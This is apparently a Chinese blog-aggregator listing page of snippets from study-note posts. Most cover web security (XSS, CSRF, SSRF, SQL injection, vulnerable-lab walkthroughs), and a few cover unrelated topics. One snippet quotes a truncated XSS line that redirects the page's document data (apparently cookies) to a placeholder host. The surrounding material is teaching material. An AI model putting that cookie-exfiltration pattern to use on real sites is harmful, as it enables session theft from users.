Web安全学习篇

web安全学习

Day06--加密解密算法网站查询：cmd5.commd5：虽然说md5是不可逆，但是md5的解密实际上是枚举的算法（类似于在库中查找明文进行比对）时间戳：url编码：%+0-9或a-z组成的两位数。例如‘’的url编码是%20base64：0-9a-zA-Z组成，经常密文后面有一个或两个’=‘，区分大小写，长度随着明文的长度的增加而增加Unescape：%开始+u+四位的一个数字，与明文中两位相
lwwwa.·2024-02-08 22:43

Redis学习篇（八）之连接相关

PING测试客户端和服务器之间的连接是否有效，有效返回PONGECHO打印特定的信息，如：ECHO'HELLOWORLD'QUIT/EXIT断开当前客户端与服务器之间的连接，可以重连SHUTDOWN直接关闭服务器身份验证设置密码：Redis配置文件中requirepass选项的值CONFIGSETrequirepasspassword密码登陆：登录到Redis客户端中，输入AUTHpassword
cnkai·2024-02-08 19:24

《爱情心理学》学习篇1

今天我们又要开始全新的阅读之旅了，这次随着对亲密关系的了解和深入，我们将继续发掘爱情的真谛，所以我选择了一本霍妮的《爱情心理学》。这本书分为8个部分:1、爱情究竟是什么2、一切是如何开始的3、好男人和好女人都在哪里4、性，说不出口的欲望5、爱情并不总是浪漫的6、婚礼之后，爱情发生了什么7、感情的终点站:分手或离异8、亲密关系的培育这8个部分将爱情的产生、建立到结束，还有爱情的内涵和意义都进行了详细
磷破读心理·2024-02-08 16:00

kali系统搭建BlueLotus_XSSReceiver-master

1.访问GitHub-trysec/BlueLotus_XSSReceiver:XSS平台CTF工具Web安全工具下载BlueLotus_XSSReceiver-master2.我的kali系统已安装apache2
fengtianlei159·2024-02-08 07:41

CTF之web安全

web安全CSRF简介CSRF，全名CrossSiteRequestForgery，跨站请求伪造。
不胜舟-·2024-02-07 18:43

学习篇：战略分析学习(产业环境分析）

战略与风险管理的课程学习第二章《战略分析》，它是整个战略课程里面很重要的一章。为了将它牢记于心，我必须单独梳理和学习战略分析包含外部环境分析和内部环境分析外部环境分析又分为宏观环境分析（俗称PEST分析）、产业环境分析、竞争环境分析和国际竞争优势分析。今天重点是产业环境分析，它内包含产品生命周期、产业五种竞争力、成功关键因素分析。今天早上10分钟课程学习产业环境分析内的产品生命周期产品生命周期按时
灵秀爱写作·2024-02-07 17:03

数据结构（C++）学习篇（三）：线性表（链式表示和实现）

目录链式存储结构单链表2.存储结构3.定义4.初始化单链表5.判断链表是否为空6.销毁7.清空链表（链表存在但是没有元素）8.求表长9.获取元素（取第i个元素的值）10.按值查找10.1根据指定数据获取该数据所在的位置10.2根据指定数据获取该数据的位置序号11.插入12.删除13.建立单链表13.1头插法13.2尾插法链式存储结构线性表中数据元素（结点）在存储器中的位置是任意的，即：逻辑上相邻，
盖世汤猿·2024-02-07 15:55

数据结构（C++）学习篇（四）：线性表（循环链表）

推荐优先学习：单链表循环链表定义头尾相接的链表，即：表中最后一个结点的指针域指向头结点，整个链表形成一个环优点从表中任一结点出发均可找到表中的其他结点循环条件涉及遍历条件时与单链表的差别：单链表单循环链表p!=NULLp!=Lp->next!=NULLp->next!=L时间复杂度利用尾指针表示单循环链表:R->next->next;:R时间复杂度均为：O(1)合并两个带尾指针的循环链表//Ta,
盖世汤猿·2024-02-07 15:55

数据结构（C++）学习篇（七）：字符串

推荐阅读：数据结构（C++）学习篇（三）：线性表（链式表示和实现）数据结构（C++）学习篇（四）：线性表（循环链表）数据结构（C++）学习篇（五）：线性表（双向链表）-CSDN博客数据结构（C++）学习篇
盖世汤猿·2024-02-07 15:25

数据结构（C++）学习篇（一）：前传

目录两个重要的能力学习目的如何学习非数值计算的程序设计方法基本概念及术语思维导图两个重要的能力抽象-----“不抽象，就无法深入思考”；去干扰，找本质（数学工具，逻辑能力）还原----“不还原，我们就看不到本来面目”；具体落地实施，增强实践（编程能力）理工科思维：数据、量化、逻辑计算机思维：解决问题的流程，包括一系列特征、处理方法、方式、流程；更强调逻辑性学习目的培养具体的技能（编程、软件开发..
盖世汤猿·2024-02-07 15:24

数据结构（C++）学习篇（二）：线性表（顺序表示和实现）

目录线性结构线性表逻辑结构顺序存储结构线性表的顺序表示和实现1.线性表的定义2.线性表的初始化3.销毁线性表L和清空线性表L4.判断线性表L是否为空和求线性表L长度5.根据位置i获取对应位置的元素内容6.按值查找7.插入8.删除顺序表优缺点课外阅读线性结构只有一个头结点和尾结点；除头尾结点外，其他结点只有一个直接前驱和一个直接后驱线性结构反映结点间的逻辑关系是：一对一（1:1）==========
盖世汤猿·2024-02-07 15:24

数据结构（C++）学习篇（六）：线性表（栈和队列）

推荐阅读：数据结构（C++）学习篇（三）：线性表（链式表示和实现）数据结构（C++）学习篇（四）：线性表（循环链表）数据结构（C++）学习篇（五）：线性表（双向链表）-CSDN博客===========
盖世汤猿·2024-02-07 15:22

Web安全基础：第4节：服务端请求伪造：SSRF漏洞-基础篇

1.SSRF简介SSRF（Server-SideRequestForgery，服务端请求伪造），是攻击者让服务端发起构造的指定请求链接造成的漏洞。由于存在防火墙的防护，导致攻击者无法直接入侵内网；这时攻击者可以以服务器为跳板发起一些网络请求，从而攻击内网的应用及获取内网数据。由于存在防火墙的防护，导致攻击者无法直接入侵内网；这时攻击者可以以服务器为跳板发起一些网络请求，从而攻击内网的应用及获取内网
花纵酒·2024-02-06 17:12

SSRF：服务端请求伪造攻击

服务端请求伪造（ServerSideRequestForgery）：是最近几年出现的一种web漏洞，2021年，SSRF被OWASP列为Top10web安全风险之一其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功
未知百分百·2024-02-06 17:10

焊工路（学习篇第64天）总是咬边，快疯了

仰焊位置为啥总是咬边啊！角度不对~可怜兮兮，控制不了，不稳定。今天觉得仰焊填充还是天两层比较合适，填一道容易有空的地方，或者高的地方，不稳定，然而填两道就会比较平。可惜盖面就无解了，总是咬边~还每次都是咬一条边，角度不对，在燃烧焊条的过程中没有变化角度导致，咬边，两边不一样厚。明天重新调整吧！着急哟，仰焊玩这么久。氩弧焊仰焊打底也没有问题了，就等于氩弧焊基本都没有问题了，只是时间上去练习，之后越来
忍禁·2024-02-06 11:48

chapter09_保护Web应用_1_Spring Security简介

SpringAOP和Servlet中的Filter过滤Web请求(1)SpringSecurity借助一系列ServletFilter提供各种安全性功能(2)但是我们只需要配置一个Filter，当我们启用Web
米都都·2024-02-06 03:13

（黑客）网络安全——自学

1.无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透2.也有Web防御技术（WAF）。
不会写代码的小彭·2024-02-05 17:43

风炫安全Web安全入门第一期课程总结

风炫安全Web安全入门第一期课程总结风炫安全Web安全入门第一期课程总结我们第一期的Web安全入门学习，已经基本完成了，这节课我们来最后做一下总结。
风炫安全·2024-02-05 14:12

零基础到精通Web渗透测试的学习路线

Web安全相关概念熟悉基本概念（SQL注入、上传、XSS、CSRF、一句话木马等）。
网安福宝·2024-02-05 00:34

python绘制决策树图片

背景w3cshool机器学习篇最后一个章节是决策树的简单入门教学，我在那里拷贝代码运行时报错，显示绘制不出决策树图片思路python编译报错无非三种，语法错误，没有装库，路径没对。
氷凌公子·2024-02-04 21:13

Web安全

文章目录常见攻击方式XSSCSRFIDORSSRFSQLInjection命令执行文件包含文件上传点击劫持条件竞争XXEXSCH敏感信息泄露敏感信息泄露常见攻击方式XSS跨站脚本攻击，可以将代码注入到用户浏览的网页上，这种代码包括HTML和JavaScript攻击原理例如有一个论坛网站，攻击者可以在上面发布以下内容localtion.href="//domain.com/?c="+document
newcih·2024-02-04 18:05

Web安全—Web框架组成和各部分作用（持续更新）

Web框架组成和各部分作用：提要：了解Web框架的组成和作用有助于了解学习Web安全漏洞的原理和通信过程。
the zl·2024-02-04 09:29

风炫安全WEB安全学习第二十一节课 存储型XSS讲解

风炫安全WEB安全学习第二十一节课存储型XSS讲解存储型XSS演示存储型XSS，持久化，代码是存储在服务器中的，如在个人信息或发表文章等地方，加入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中
风炫安全·2024-02-04 03:18

【靶场实战】Pikachu靶场敏感信息泄露关卡详解

Nx01系统介绍Pikachu是一个带有漏洞的Web应用系统，在这里包含了常见的web安全漏洞。如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习，那么Pikachu可能正合你意。
晚风不及你ღ·2024-02-04 02:40

[网络安全学习篇附]：Web 安全学习路线

TableofContentsWeb安全学习路线熟悉Windows/kaliLinux系统服务器安全配置脚本编程学习熟悉Web相关的概念熟悉渗透相关的工具渗透实战操作关注安全圈动态源码审计与漏洞分析安全体系设计与开发
白面安全猿·2024-02-03 19:38

Web安全2.3：CSP安全策略、Cookie、Session、同源策略、HTML DOM树

文章目录Web安全2.3：CSP安全策略、Cookie、Session、同源策略、HTMLDOM树一、CSP安全策略：1、CSP的部分命令：2、策略控制：（1）首先我们先把meta标签注释掉，如下：（2
Slash · Young·2024-02-03 09:51

科学备孕12Day，怀孕的预兆

总热量430卡下午加餐：香蕉小晚餐：牛奶，面包，香蕉小总热量378卡5.6号一天的合计热量1516卡图片发自App2.运动篇步行10公里备孕瑜伽马甲线练习3.学习篇道德经5遍，英语单词20个，金刚经4.
小莲2017·2024-02-03 08:16

什么是HTTP劫持，有什么方案能处理

作为一个网络安全人员，web安全是需要了解的，从互联网诞生起，网络安全威胁就一直伴随着网站的发展，各种web攻击和信息泄露也从未停止。
德迅云安全杨德俊·2024-02-03 03:38

advPython-5

pySimpleGUI-学习篇(0)通用属性"""设定方法"""key='-Text-',#元素唯一标识符，书写规范key='-NMAE-'。
-seventy-·2024-02-02 17:39

乐乐观察笔记

学习篇：乐乐的数学开始需要引导的比较多，我问他课上讲的有没有听懂，他说：“我数学比较差。”我说那是你没有真正认识自己，你看这题能自己完成就已经很棒了，要有信心下次做得更好。
塘里亭·2024-02-02 14:46

【靶场实战】Pikachu靶场不安全的文件下载漏洞关卡详解

Nx01系统介绍Pikachu是一个带有漏洞的Web应用系统，在这里包含了常见的web安全漏洞。如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习，那么Pikachu可能正合你意。
晚风不及你ღ·2024-02-02 11:38

【靶场实战】Pikachu靶场暴力破解关卡详解

Nx01系统介绍Pikachu是一个带有漏洞的Web应用系统，在这里包含了常见的web安全漏洞。如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习，那么Pikachu可能正合你意。
晚风不及你ღ·2024-02-02 11:08

【靶场实战】Pikachu靶场RCE漏洞关卡详解

Nx01系统介绍Pikachu是一个带有漏洞的Web应用系统，在这里包含了常见的web安全漏洞。如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习，那么Pikachu可能正合你意。
晚风不及你ღ·2024-02-02 11:08

【靶场实战】Pikachu靶场XSS跨站脚本关卡详解

Nx01系统介绍Pikachu是一个带有漏洞的Web应用系统，在这里包含了常见的web安全漏洞。如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习，那么Pikachu可能正合你意。
晚风不及你ღ·2024-02-02 11:36

教案（补2）

1、作文：文从字顺——《文章自在》2、诗歌：《甘棠》——诗经召南一、学习篇学习的方法，从知道即知晓这个道理，再到理解即自己去解释这个道理，再到悟即在生活中去用这个道理再去思考这个道理，知道不用思考即在践行这个道理
愚者愚心·2024-02-02 06:25

9月复盘:坚持记录，允许自己慢慢变好

9月复盘:已完成一、学习篇:1、完成5本书的阅读①《好好读书》苏童、麦家等②《身为女性的选择》上野千鹤子③《人生没有白走的路，每一步都算数》杨熹文④《你的美貌不敌你的热闹》万特特⑤《时间从来不语，却回答了所有问题
裴攸宁·2024-02-01 15:17

Web前端看点。黑客利用的这些基本知识

一，Web安全的关键点1.同源策略是众多安全策略的一个，是Web层面上的策略。很重要。2.同源策略规定：不同域的client脚本在没明白授权的情况下。不能读写对方的资源。
前端小澈·2024-02-01 07:37

新手入门Web安全的学习路线

学习Web安全需要掌握Web安全相关概念、渗透测试相关工具、渗透实战操作、熟悉Windows/KaliLinux、中间件和服务器的安全配置、脚本编程学习、源码审计与漏洞分析、安全体系设计与开发等等。
中年猿人·2024-01-31 23:35

白帽子讲web安全-跨站点请求伪造

一CSRF攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法.二CSRF进阶1浏览器的cookie策略浏览器所支持的cookie分为两种，一种sessioncookie，又称为临时cookie；另一种是third-partycookie也称为本地cookie。两者区别为本地cookie是服务器在set-cookie时制定了expire时间，只有到了expire时间才会失效
北邮小菜鸡·2024-01-31 22:00

安全测试-pikachu靶场搭建

pikachu靶场搭建文章目录pikachu安装步骤pikachupikachu是一个自带web漏洞的应用系统，在这里包含了常见的web安全漏洞，也就是练习的靶场。
汪敏wangmin·2024-01-31 18:09

【小迪安全】web安全｜渗透测试｜网络安全 | 学习笔记-6

目录目录第37天：WEB漏洞-反序列化之PHP&JAVA全解（上）第38天：WEB漏洞-反序列化之PHP&JAVA全解（下）第39天：WEB漏洞-XXE&XML之利用检测绕过全解目录第37天：WEB漏洞-反序列化之PHP&JAVA全解（上）PHP反序列化原理：未对用户输入的序列化字符串进行检测，导致攻击者可以控制反序列化过程，从而导致代码执行，SQL注入，目录遍历等不可控后果。在反序列化的过程中自
youngerll·2024-01-31 16:14

【小迪安全】web安全｜渗透测试｜网络安全 | 学习笔记-5

目录目录第25天：WEB漏洞-XSS跨站之原理分类及攻击手法第26天：WEB漏洞-XSS跨站之订单及Shell箱子反杀记第27天：WEB漏洞-XSS跨站之代码及httponly绕过第28天：WEB漏洞-XSS跨站之WAF绕过及安全修复第29天：WEB漏洞-CSRF及SSRF漏洞案例讲解第30天：WEB漏洞-RCE代码及命令执行漏洞全解第31天：WEB漏洞-文件操作之文件包含漏洞全解第32天：WEB
youngerll·2024-01-31 16:44

【小迪安全】web安全｜渗透测试｜网络安全 | 学习笔记-1

【小迪安全】web安全｜渗透测试｜网络安全第1-6天基础介绍如何查看域名的A记录、MX记录、CNAME记录、NS记录数据库：access、mysql、mssql、oracle、Sybase、db2、postsql
youngerll·2024-01-31 11:16

【42万字，2902页】全网最全《零基础网络安全/黑客自学笔记》，爆肝分享！

这份笔记涵盖了网络安全导论、渗透测试基础、网络基础、Linux操作系统基础、web安全等等入门知识点；也有密码爆破、漏洞挖掘、SQL注入等进阶技术；还有反序列化漏洞、RCE、内网渗透、流量分析等高阶提升内容
网安员阿道夫·2024-01-31 11:44

零基础学习网络安全/web安全【全网最全】

我先把自己整理的web安全自学路线贴出来，有需要的可以保存一下：1、Web安全相关概念（2周）熟悉基本概念（SQL注入、上传、XSS、CSRF、一句话木马等）。
网络安全乔妮娜·2024-01-31 11:08

SQL盲注

说明学习思路，源自《白帽子讲Web安全》，lcamry《MySQL注入天书》1、盲注注入漏洞不显示来自数据库的报错信息，报错信息中只包含通用的错误提示，此时SQL注入将不能通过报错信息直观获取注入语句的执行结果
CDLittleBoy·2024-01-31 10:37

海康威视综合安防管理平台任意文件上传

HIKVISIONiSecureCenter综合安防管理平台是一套“集成化”、“智能化”的平台，通过接入视频监控、一卡通、停车场、报警检测等系统的设备，获取边缘节点数据，实现安防信息化集成与联动，公众号：web
十三2·2024-01-31 10:36

大学生手机里应该有的APP || 生活篇

关于手机APP推荐的文已经写到第三篇了，有兴趣的朋友可以往回看看：大学生手机里应该有的APP||学习篇大学生手机里应该有的APP||管理篇就当一个记录，一个总结，这篇也不会像之前两篇那样长篇大论口水帐的
小生大琳·2024-01-31 07:59

风炫安全Web安全学习第三十九节课 反序列化漏洞基础知识

风炫安全Web安全学习第三十九节课反序列化漏洞基础知识反序列化漏洞0x01序列化相关基础知识0x0101序列化演示序列化就是把本来不能直接存储的数据转换成可存储的数据，并且不会丢掉数据格式序列化(Serialization
风炫安全·2024-01-31 05:02

白帽子讲web安全-认证与会话管理

whoami认证的目的是为了认出用户是谁，而授权的目的是为了决定用户能够在做什么。认证实际上就是一个验证凭证的过程。密码的那些事情首先是增强密码强度，接着是密码必须是不可逆的加密算法，或者是单向散列函数算法，加密后存储在数据库中。最后防止破解，增加了salt这个随机字符串，注意这个字符串应该保存在服务器端的配置文件中，并妥善保管。多因素认证除了密码外，还可以增加手机动态指令，数字证书，支付盾，宝令
北邮小菜鸡·2024-01-31 02:23
上一页 1 2 3 4 5 6 7 8 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他